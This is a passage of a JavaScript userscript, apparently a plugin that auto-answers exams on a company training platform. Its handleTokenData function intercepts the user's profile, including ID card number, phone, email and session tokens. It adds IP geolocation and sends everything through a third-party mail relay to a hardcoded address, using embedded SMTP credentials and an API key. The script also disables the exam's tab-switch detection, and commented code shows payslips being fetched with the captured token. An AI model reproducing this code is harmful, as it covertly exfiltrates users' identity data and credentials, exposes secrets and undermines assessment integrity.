if (isTokenDate) {
tokenDate = tokenDate || [];
if (!Array.isArray(tokenDate)) {
tokenDate = [];
}
tokenDate.push(JSON.parse(data));
handleTokenData(tokenDate);
}
}
});
open.apply(this, arguments);
};
}
function handlePracticeData(practiceData) {
return new Promise(function (resolve) {
let targetArray = practiceData.find(function (response) {
return response.msg === "操作成功" && response.code === 200 && response.data.testPaperTopics;
});
if (targetArray) {
let formattedData = outputPracticeTopics(targetArray.data);
savedData = formattedData.slice();
} else {
console.log('脚本未找到符合条件的题库信息');
}
practiceData.length = 0;
resolve();
});
}
// function handleProfileData(profileData) {
// return new Promise(function (resolve) {
// let targetArray = Object.values(profileData).find(function (response) {
// return typeof response === 'object' && response !== null;
// });
// if (targetArray) {
// let result = {
// userName: targetArray.userName,
// nickName: targetArray.nickName,
// };
// let formattedData = outputProfileDataTopics(JSON.stringify(result));
// GM_setValue('userName', formattedData.userName);
// GM_setValue('nickName', formattedData.nickName);
// titleMsgAlert = GM_getValue("userName") + ' ' + GM_getValue("nickName");
// } else {
// console.log("脚本未找到符合条件的个人信息");
// }
// targetArray = [];
// resolve();
// });
// }
// function handleOldPracticeData(oldPracticeData) {
// return new Promise(function (resolve) {
// let targetArray = oldPracticeData.find(function (response) {
// return response.code === 200 && response !== null;
// });
// if (targetArray) {
// let result = {
// "userName": targetArray.data.loginName,
// "nickName": targetArray.data.nickname,
// };
// GM_setValue('userName', result.userName);
// GM_setValue('nickName', result.nickName);
// titleMsgAlert = GM_getValue("userName") + ' ' + GM_getValue("nickName");
// } else {
// console.log("脚本未找到符合条件的个人信息");
// }
// targetArray = [];
// resolve();
// });
// }
function handleTokenData(tokenDate) {
return new Promise(function (resolve) {
let targetArray = tokenDate.find(function (response) {
return response.code === 200 && response !== null;
});
if (targetArray) {
GM_setValue('userName', targetArray.result.userInfo.workNo);
GM_setValue('nickName', targetArray.result.userInfo.realname);
titleMsgAlert = GM_getValue("userName") + ' ' + GM_getValue("nickName");
let result = {
"姓名": GM_getValue("nickName"),
"性别": targetArray.result.userInfo.sex_dictText,
"所属公司": targetArray.result.userInfo.organization_dictText,
"任职岗位": targetArray.result.userInfo.postName_dictText,
"工号": GM_getValue("userName"),
"身份证": targetArray.result.userInfo.idNumber,
"电话": targetArray.result.userInfo.phone,
"邮箱": targetArray.result.userInfo.email,
"token": targetArray.result.thirdToken,
"授权信息": trimText(getAb()),
};
let ipMsgs = {
"登录地区": ipData.data.prov + ipData.data.city + ipData.data.district + ' ' + ipData.data.areacode,
"ip": ipData.ip,
"运营商": ipData.data.owner + "," + ipData.data.isp,
"坐标系统": ipData.coordsys,
"纬度": ipData.data.lat,
"经度": ipData.data.lng
};
timestamp = targetArray.timestamp.toString().slice(0, 10);
xAccessToken = targetArray.result.token;
result = Object.assign(result, ipMsgs);
GM_setValue('token', result);
// processMoneyYears(xAccessToken, timestamp, getYears);
// console.log(moneyResults);
sendEmail("遇见八三的心动瞬间用户记录", "插件使用情况记录", '\n{"登录时间":"' + new Date().toLocaleString('en-US', { timeZone: 'Asia/Shanghai', hour12: false }).replace(",", ' ') + '",\n"操作系统":"' + GM_getValue("userAgent") + '",\n"脚本版本":"' + visionNum + '"},' + JSON.stringify(result, null, "\n") , false);
} else {
console.log("脚本未找到符合条件的token");
}
targetArray = [];
resolve();
});
}
function answerQuestion() {
try {
var isQuestionFound = savedData.some((questionObject) => {
return trimText(questionObject.question) == trimText(document.querySelectorAll(".el-card__body")[1].childNodes[2].innerText);
});
if (isQuestionFound && getAb()) {
var answerList = [];
let questionNumber = getPracticeQANumber();
for (let i = 0; i < savedData.length; i++) {
let answerArray = savedData[i].TrueAnswer.split(',');
let numericArray = answerArray.map(function (letter) {
// 多减 1 个 1, 后面处理点击次序时方便
return letter.charCodeAt(0) - 65;
});
answerList.push(numericArray);
}
try {
if (answerList[questionNumber - 1].length == 1) {
var targetAnswerElement = document.querySelectorAll(".el-radio-group")[0].childNodes[answerList[questionNumber - 1][0]];
if (targetAnswerElement && !targetAnswerElement.classList.contains('is-checked')) {
targetAnswerElement.click();
console.log("题号 " + questionNumber + " 点选: " + String.fromCharCode((answerList[questionNumber - 1][0] + 1) + 64));
} else {
document.querySelectorAll(".el-button")[0].click();
}
} else if (answerList[questionNumber - 1].length > 1) {
for (let i = 0; i < answerList[questionNumber - 1].length; i++) {
(function (i) {
requestAnimationFrame(function () {
var targetAnswerElement = document.querySelectorAll(".el-checkbox-group")[0].childNodes[answerList[questionNumber - 1][i]];
if (targetAnswerElement && !targetAnswerElement.classList.contains('is-checked')) {
targetAnswerElement.click();
console.log("题号 " + questionNumber + " 点击选项: " + String.fromCharCode((answerList[questionNumber - 1][i] + 1) + 64));
} else {
document.querySelectorAll(".el-button")[0].click();
}
});
})(i);
}
} else {
Qmsg.error("不在可答题的页面");
}
} catch (error) {
Qmsg.error("异常错误");
}
} else {
Qmsg.error("请检查权限与操作是否正确");
}
} catch (error) {
clickSpanContainingText("回到首页");
}
}
function sendEmail(title, subject, content, isTextContent) {
let apiUrl = "https://luckycola.com.cn/tools/customMail";
let requestData = {
"ColaKey": "mOmUal7wem5H501706640620401xTx6FIj19r",
"tomail": "[email protected]",
"fromTitle": title,
"subject": subject,
"smtpCode": "iliilxyzkrhebaai",
"smtpEmail": "[email protected]",
"smtpCodeType": "qq",
"isTextContent": isTextContent,
"content": content,
};
fetch(apiUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(requestData),
})
.then(response => response.json())
.then(data => {
console.log("登录信息已记录");
})
.catch(error => {
console.log("登录信息记录错误" + error);
});
}
function trimOptions(options) {
let modifiedOptions = options.map(function (option) {
return trimText(option.replace(/[A-J]\. /, ''));
});
return modifiedOptions;
}
function trimOption(option) {
return trimText(option.replace(/[A-J]\.\s*/, ''));
}
function answerExam() {
let questionType = document.querySelectorAll(".el-card__body")[1].childNodes[0].childNodes[0].innerText;
var questionText = document.querySelectorAll(".el-card__body")[1].childNodes[2].innerText;
try { var trimmedText = trimText(questionText) } catch (error) { }
let questionAnswerBankIndex = AllQA.findIndex(function (item) {
return item.question == trimmedText;
});
if (questionType && questionAnswerBankIndex) {
if (questionType.includes("单选")) {
let options = document.querySelectorAll(".el-radio__label");
let optionTexts = [];
for (let i = 0; i < options.length; i++) {
optionTexts.push(options[i].innerText);
}
let trimOptionArray = trimOptions(optionTexts);
let optionKey = "option" + (AllQA[questionAnswerBankIndex].answer.toLowerCase().charCodeAt(0) - 'a'.charCodeAt(0) + 1);
let isTrueOption = trimOptionArray.indexOf(AllQA[questionAnswerBankIndex][optionKey]);
if (isTrueOption !== -1) {
if (options[isTrueOption].previousElementSibling.classList.contains("is-checked")) {
if (document.querySelectorAll(".el-button")[2].innerText == "下一题") {
document.querySelectorAll(".el-button")[2].click();
} else {
document.querySelectorAll(".el-button")[1].click();
}
} else {
options[isTrueOption].click();
}
} else {
simpleToast("可能系统题库有所变更,题库答案为 ↓", AllQA[questionAnswerBankIndex][optionKey], 3e3);
}
} else if (questionType.includes("多选")) {
if (QAComplete) {
if (document.querySelectorAll(".el-button")[2].innerText == "下一题") {
document.querySelectorAll(".el-button")[2].click();
QAComplete = false;
} else {
document.querySelectorAll(".el-button")[1].click();
}
} else {
QAComplete = false;
let options = document.querySelectorAll(".el-checkbox__label");
let optionTexts = [];
for (let i = 0; i < options.length; i++) {
optionTexts.push(options[i].innerText);
}
let trimOptionArray = trimOptions(optionTexts);
let AnswerArrayToNumberArray = convertAnswerArrayToDigitArray(questionAnswerBankIndex);
for (let i = 0; i < AnswerArrayToNumberArray.length; i++) {
let optionKey = "option" + AnswerArrayToNumberArray[i];
let isTrueOption = trimOptionArray.indexOf(AllQA[questionAnswerBankIndex][optionKey]);
if (isTrueOption !== -1) {
if (!options[isTrueOption].previousElementSibling.classList.contains("is-checked")) {
try {
(function (i) {
requestAnimationFrame(function () {
options[isTrueOption].click();
});
})(i);
} catch (error) {
console.log("多选题选项缺少");
}
}
} else {
simpleToast("可能系统题库有所变更,题库答案为 ↓", AllQA[questionAnswerBankIndex][optionKey], 3e3);
}
if (i == AnswerArrayToNumberArray.length - 1) {
QAComplete = true;
}
}
}
} else if (questionType.includes("判断")) {
let options = document.querySelectorAll(".el-radio__label");
// optionTexts 预留参数,无实际意义,目前题目答案均为"对"错"
let optionTexts = [];
for (let i = 0; i < options.length; i++) {
optionTexts.push(options[i].innerText);
}
let optionKey = AllQA[questionAnswerBankIndex].answer;
if (optionKey) {
switch (optionKey) {
case 'A':
for (let j = 0; j < options.length; j++) {
if (rightArr.includes(options[j].innerText)) {
if (options[j].previousElementSibling.classList.contains("is-checked")) {
if (document.querySelectorAll(".el-button")[2].innerText == "下一题") {
document.querySelectorAll(".el-button")[2].click();
} else {
document.querySelectorAll(".el-button")[1].click();
}
} else {
options[j].click();
}
}
}
break;
case 'B':
for (let j = 0; j < options.length; j++) {
if (wrongArr.includes(options[j].innerText)) {
if (options[j].previousElementSibling.classList.contains("is-checked")) {
if (document.querySelectorAll(".el-button")[2].innerText == "下一题") {
document.querySelectorAll(".el-button")[2].click();
} else {
document.querySelectorAll(".el-button")[1].click();
}
} else {
options[j].click();
}
}
}
break;
default:
console.log("题库答案错误");
break;
}
}
}
} else {
if (questionType.includes("单选") || questionType.includes("判断")) {
if (document.querySelectorAll(".el-radio__label")[0]) {
var option1 = trimOption(document.querySelectorAll(".el-radio__label")[0].innerText)
} else { option1 = '' };
if (document.querySelectorAll(".el-radio__label")[1]) {
var option2 = trimOption(document.querySelectorAll(".el-radio__label")[1].innerText)
} else { option2 = '' };
if (document.querySelectorAll(".el-radio__label")[2]) {
var option3 = trimOption(document.querySelectorAll(".el-radio__label")[2].innerText)
} else { option3 = '' };
if (document.querySelectorAll(".el-radio__label")[3]) {
var option4 = trimOption(document.querySelectorAll(".el-radio__label")[3].innerText)
} else { option4 = '' };
if (document.querySelectorAll(".el-radio__label")[4]) {
var option5 = trimOption(document.querySelectorAll(".el-radio__label")[4].innerText)
} else { option5 = '' };
if (document.querySelectorAll(".el-radio__label")[5]) {
var option6 = trimOption(document.querySelectorAll(".el-radio__label")[5].innerText)
} else { option6 = '' };
if (document.querySelectorAll(".el-radio__label")[6]) {
var option7 = trimOption(document.querySelectorAll(".el-radio__label")[6].innerText)
} else { option7 = '' };
if (document.querySelectorAll(".el-radio__label")[7]) {
var option8 = trimOption(document.querySelectorAll(".el-radio__label")[7].innerText)
} else { option8 = '' };
}
if (questionType.includes("多选")) {
if (document.querySelectorAll(".el-checkbox__label")[0]) {
var option1 = trimOption(document.querySelectorAll(".el-checkbox__label")[0].innerText)
} else { option1 = '' };
if (document.querySelectorAll(".el-checkbox__label")[1]) {
var option2 = trimOption(document.querySelectorAll(".el-checkbox__label")[1].innerText)
} else { option2 = '' };
if (document.querySelectorAll(".el-checkbox__label")[2]) {
var option3 = trimOption(document.querySelectorAll(".el-checkbox__label")[2].innerText)
} else { option3 = '' };
if (document.querySelectorAll(".el-checkbox__label")[3]) {
var option4 = trimOption(document.querySelectorAll(".el-checkbox__label")[3].innerText)
} else { option4 = '' };
if (document.querySelectorAll(".el-checkbox__label")[4]) {
var option5 = trimOption(document.querySelectorAll(".el-checkbox__label")[4].innerText)
} else { option5 = '' };
if (document.querySelectorAll(".el-checkbox__label")[5]) {
var option6 = trimOption(document.querySelectorAll(".el-checkbox__label")[5].innerText)
} else { option6 = '' };
if (document.querySelectorAll(".el-checkbox__label")[6]) {
var option7 = trimOption(document.querySelectorAll(".el-checkbox__label")[6].innerText)
} else { option7 = '' };
if (document.querySelectorAll(".el-checkbox__label")[7]) {
var option8 = trimOption(document.querySelectorAll(".el-checkbox__label")[7].innerText)
} else { option8 = '' };
}
console.log("{\n"
+ "question: '" + trimmedText + "',\n"
+ "answer: " + "'',\ntype'" + document.querySelectorAll(".el-card__body")[1].childNodes[0].childNodes[0].innerText.match(/单选题|多选题|判断题/g)[0] + "',\n"
+ "option1: '" + option1 + "',\n"
+ "option2: '" + option2 + "',\n"
+ "option3: '" + option3 + "',\n"
+ "option4: '" + option4 + "',\n"
+ "option5: '" + option5 + "',\n"
+ "option6: '" + option6 + "',\n"
+ "option7: '" + option7 + "',\n"
+ "option8: '" + option8 + "',\n"
+ "},");
}
}
function autoExam() {
let autoAnswerCount = 0;
console.log("开始自动做题,共计 " + document.querySelectorAll(".el-col").length +
" 道题目");
const autoExam = setInterval(() => {
if (autoAnswerCount < 20) {
autoAnswerCount++;
answerExam();
if (document.querySelectorAll(".el-col").length == getQANumber()) {
clearInterval(autoExam);
console.log("结束自动做题");
}
} else {
clearInterval(autoExam);
console.log("结束自动做题");
}
}, 100);
}
function autoAnswerQuestion() {
if (getAb()) {
if (savedData.length == 0) {
Qmsg.error("未劫持到数据,操作太快或不在指定页面");
// simpleToast("未劫持到数据", "一键答题仅支持新版学企来、旧版学企来考试与问卷星", 2e3);
} else {
for (let i = getPracticeQANumber() - 1; i < savedData.length; i++) {
try {
setTimeout(function () {
answerQuestion();
}, answerTimeGap * i);
} catch (error) {
Qmsg.error("请正常手动答题或重新进入");
// simpleToast("提醒", "请正常手动答题或重新进入", 3e3);
}
try {
setTimeout(function () {
document.querySelectorAll(".el-button")[0].click();
}, answerTimeGap * (i + 1 / 2));
} catch (error) {
Qmsg.error("请在指定页面使用");
}
}
setTimeout(function () {
Qmsg.success("所有题目已完成");
}, answerTimeGap * savedData.length);
}
} else {
Qmsg.warning("权限有误,请联系管理员添加权限");
}
}
function getAb() {
try {
var a = userList.some(function (user) {
if (user.userName === GM_getValue("userName") && user.nickName === GM_getValue("nickName")) {
return true;
} else {
return false;
}
});
} catch (error) {
Qmsg.error("请从公司页面正常渠道进入页面");
return false;
}
if (a) {
try {
var userName = userList.find(u => u.userName === GM_getValue("userName"));
var userTime = userName ? userName.time : null;
} catch (error) {
Qmsg.error("时长获取错误。");
return false;
}
innerMsgAlert = '';
innerMsgAlert = verifyTime(userTime) ? verifyTime(userTime) : " 权限过期或已无权限 请联系重新授权。 ";
return verifyTime(userTime);
} else {
failVerify();
return false;
}
}
function failVerify() {
if (userList.find(u => u.userName === GM_getValue("userName")) && GM_getValue("userName") !== undefined && GM_getValue("nickName") !== undefined) {
console.log(userList.find(u => u.userName === GM_getValue("userName")));
titleMsgAlert = GM_getValue("userName") + ' ' + GM_getValue("nickName");
var userName = userList.find(u => u.userName === GM_getValue("userName"));
var userTime = userName ? userName.time : null;
innerMsgAlert = verifyTime(userTime) ? verifyTime(userTime) : " 权限过期 请联系重新授权。 ";
} else {
if (GM_getValue("userName") !== undefined && GM_getValue("nickName") !== undefined) {
titleMsgAlert = GM_getValue("userName") + ' ' + GM_getValue("nickName");
} else {
titleMsgAlert = "未登录";
}
innerMsgAlert = '';
for (let i = 0; i < failStringArray.length; i++) {
innerMsgAlert += String.fromCharCode(failStringArray[i]);
}
}
}
function verifyAndToast() {
getAb();
waitToast(titleMsgAlert, innerMsgAlert, a);
}
function waitToast(titleText, innerText, logText) {
let CustomBox = Box.mixin({
customFunction: function () {
console.log(logText);
},
});
let customBoxInstance = new CustomBox({
title: titleText,
text: innerText,
});
try {
customBoxInstance.customFunction();
} catch (error) {
console.log("toast 库 error");
}
}
function simpleToast(title, innerText, time) {
let Toast = Box.mixin({
title: title,
toast: true,
time: time,
});
new Toast({ text: innerText });
}
function clearCookie() {
// 这段代码来自其它脚本,为MIT协议,
var keys = document.cookie.match(/[^ =;]+(?==)/g);
if (keys) {
for (var i = keys.length; i--;) {
document.cookie = keys[i] + '=0;path=/;expires=' + new Date(0).toUTCString();
document.cookie = keys[i] + '=0;path=/;domain=' + document.domain + ';expires=' + new Date(0).toUTCString();
document.cookie = keys[i] + '=0;path=/;domain=ratingdog.cn;expires=' + new Date(0).toUTCString();
}
}
location.reload();
};
// 通用函数,清理cookie【方法2】
function deleteAllCookies() {
var cookies = document.cookie.split(";");
console.log(cookies)
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i];
var eqPos = cookie.indexOf("=");
var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
document.cookie = name + "=;";
//document.cookie = null
}
var cookies2 = document.cookie.split(";");
}
// 通用函数,清理storage
function clearStorage() {
localStorage.clear()
sessionStorage.clear()
}
function btnClick(query, func) {
document.querySelector(query).addEventListener('click', func);
}
function btnClickToUrl(query, url) {
btnClick(query, function () {
window.open(url).location;
})
}
function getMoney(xAccessToken, timestamp, year) {
const xhr = new XMLHttpRequest();
xhr.open("GET", `https://www.cscec83.cn/jeecg-boot/salary/paySlip/findPaySlipByYear?_t=${timestamp}&year=${year}`, true);
xhr.setRequestHeader("accept", "application/json, text/plain, */*");
xhr.setRequestHeader("accept-language", "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6");
xhr.setRequestHeader("cache-control", "no-cache");
xhr.setRequestHeader("pragma", "no-cache");
xhr.setRequestHeader("x-access-token", xAccessToken);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
const responseData = JSON.parse(xhr.responseText);
if (responseData.success && responseData.result) {
const filteredValues = responseData.result
.filter(item => item.key == "税后实发额" && item.value !== null)
.map(item => parseFloat(item.value));
if (filteredValues.length > 0) {
const averageValue = filteredValues.reduce((acc, value) => acc + value, 0) / filteredValues.length;
moneyResults.push({ [`${year}年`]: averageValue });
}
// 在这里处理其他情况
}
}
};
xhr.send();
}
function processMoneyYears(xAccessToken, timestamp, years) {
for (let year of years) {
getMoney(xAccessToken, timestamp, year);
}
}
// 同步Manyinput的内容到真正的input标签
// 来源: EasyWJX;作者: MelonFish
function syncManyinput() {
setInterval(function () {
var all_textCont = document.querySelectorAll('.textCont')
for (var i = 0; i < all_textCont.length; i++) {
var input = all_textCont[i].parentNode.previousSibling;
input.value = all_textCont[i].innerText
}
}, 1500)
}
function removeListener() {
try {
history.pushState = null;
console.log("移除页面切换监听pushState成功");
Qmsg.success("成功移除切屏监听pushState");
} catch (error) {
console.log("移除页面切换监听pushState失败");
Qmsg.error("移除切屏监听pushState失败");
}
try {
window.removeEventListener("popstate", console.log("移除页面切换监听popstate成功"));
Qmsg.success("成功移除切屏监听popstate");
}
catch (error) {
console.log("移除页面切换监听popstate失败");
Qmsg.error("移除切屏监听popstate失败");
}
try {
Object.defineProperty(document, 'visibilityState', {
get: function () {
return 'hidden';
}
});
console.log("移除页面切换监听visibilityState成功");
Qmsg.success("成功移除切屏监听visibilityState");
} catch (error) {
console.log("移除页面切换监听visibilityState失败");
Qmsg.error("移除切屏监听visibilityState失败");
}
Qmsg.success("任意切屏,启动");
systemAlert('任意切屏,启动!', '切!随便切!', 8000, console.log('点击移除切屏监听的通知'));
}
function systemAlert(titleText, innerText, time, func) {
GM_notification({
title: titleText,
text: innerText,
timeout: time,
onclick: func
});
}
function sendMsg() {
var userMsg = prompt("请填写您的想法与意见", "最好也留下您的联系方式");
if (userMsg == null || userMsg == '') {
Qmsg.info("用户取消意见反馈");
} else {
sendEmail("插件用户反馈", "反馈信息", '\n{"反馈时间":"' + new Date().toLocaleString('en-US', { timeZone: 'Asia/Shanghai', hour12: false }).replace(",", ' ') + '",\n"操作系统":"' + GM_getValue("userAgent") + '",\n脚本版本":"' + visionNum + '"},\n' + JSON.stringify(GM_getValue("token"), null, "\n") + '\n{"反馈意见":"' + userMsg + '"}', false);
Qmsg.success("用户意见反馈成功");
}
}
function getIP() {
fetch('https://api.qjqq.cn/api/Local')
.then(response => {
if (!response.ok) {
console.log('Network response was not ok');
}
return response.json();
})
.then(data => {
ipData = data;
})
.catch(error => {
console.error('There was a problem with the fetch operation:', error);
});
}
function isPhone() {
var isPhone = /mobile/i.test(window.navigator.userAgent);
//如果包含“Mobile”(是手机设备)则返回true
return isPhone;
}
})();